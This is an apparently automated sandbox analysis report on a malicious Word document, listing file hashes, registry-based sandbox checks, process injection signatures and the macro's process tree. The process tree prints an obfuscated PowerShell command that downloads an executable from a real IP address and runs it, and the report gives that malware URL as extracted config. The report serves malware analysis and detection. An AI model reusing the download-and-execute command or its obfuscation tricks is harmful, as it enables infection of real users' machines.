Analysis
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max time kernel
101s -
max time network
127s -
platform
windows10_x64 -
resource
win10-en-20210920 -
submitted
14-10-2021 10:19
Static task
static1
Behavioral task
behavioral1
Sample
QPL_0600_310107725.doc
Resource
win7-en-20210920
Behavioral task
behavioral2
Sample
QPL_0600_310107725.doc
Resource
win10-en-20210920
General
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Target
QPL_0600_310107725.doc
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Size
28KB
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MD5
38aa23ee6f3164562c75b9584ddd8bf7
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SHA1
75982c488ae86664e2b3420fbfec12bd22e75b81
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SHA256
ce0784a0d4e7afe62964a890c549c42743fa1cc5d9bf78204a225c9bd2e3b2c6
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SHA512
f3283f73453c014e7d45aa2e96db6f2e6241c498683d146ca41cf323e9a3a7d616dcefba78778bdb13e3d26dd9e12d3feb22841e0779a6322d1af05a76f58623
Malware Config
Extracted
http://18.195.143.183/6/7/QPL_0600_310107725.exe
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 964 2404 cmd.exe WINWORD.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2404 WINWORD.EXE 2404 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3008 powershell.exe 3008 powershell.exe 3008 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3008 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 2404 WINWORD.EXE 2404 WINWORD.EXE 2404 WINWORD.EXE 2404 WINWORD.EXE 2404 WINWORD.EXE 2404 WINWORD.EXE 2404 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEcmd.exedescription pid process target process PID 2404 wrote to memory of 964 2404 WINWORD.EXE cmd.exe PID 2404 wrote to memory of 964 2404 WINWORD.EXE cmd.exe PID 964 wrote to memory of 3008 964 cmd.exe powershell.exe PID 964 wrote to memory of 3008 964 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\QPL_0600_310107725.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\appearadmit.cmd" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://18.195.143.183/6/7/QPL_0600_310107725.e`xe -Destination C:\Users\Public\Documents\chancecrime.e`xe;C:\Users\Public\Documents\chancecrime.e`xe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Public\Documents\appearadmit.cmdMD5
8e0cacb4b622dcb95170f8ccaef4d78f
SHA1470706d4f1199e9213a82608e3f64be3141b8190
SHA2561c442d099676f8627f483d363cd44371089becae8273e14d30c2bf0921ef6331
SHA512d13de1085d59906cddb1d3a5e3aad9c68a9009cae942cd8383e23a37178a27079382b9130b63bccc34efef3868cee8ca909d35f26a0664732f80738e9db1ad83
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memory/964-259-0x0000000000000000-mapping.dmp
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memory/2404-118-0x00007FFDCB1B0000-0x00007FFDCB1C0000-memory.dmpFilesize
64KB
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memory/2404-115-0x00007FFDCB1B0000-0x00007FFDCB1C0000-memory.dmpFilesize
64KB
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memory/2404-119-0x0000015D02040000-0x0000015D02042000-memory.dmpFilesize
8KB
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memory/2404-120-0x0000015D02040000-0x0000015D02042000-memory.dmpFilesize
8KB
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memory/2404-121-0x00007FFDCB1B0000-0x00007FFDCB1C0000-memory.dmpFilesize
64KB
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memory/2404-122-0x0000015D02040000-0x0000015D02042000-memory.dmpFilesize
8KB
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memory/2404-117-0x00007FFDCB1B0000-0x00007FFDCB1C0000-memory.dmpFilesize
64KB
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memory/2404-116-0x00007FFDCB1B0000-0x00007FFDCB1C0000-memory.dmpFilesize
64KB
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memory/3008-262-0x0000000000000000-mapping.dmp
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memory/3008-272-0x000002BCA30C0000-0x000002BCA30C2000-memory.dmpFilesize
8KB
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memory/3008-273-0x000002BCA30C3000-0x000002BCA30C5000-memory.dmpFilesize
8KB
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memory/3008-411-0x000002BCA30C6000-0x000002BCA30C8000-memory.dmpFilesize
8KB
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memory/3008-420-0x000002BCA30C8000-0x000002BCA30C9000-memory.dmpFilesize
4KB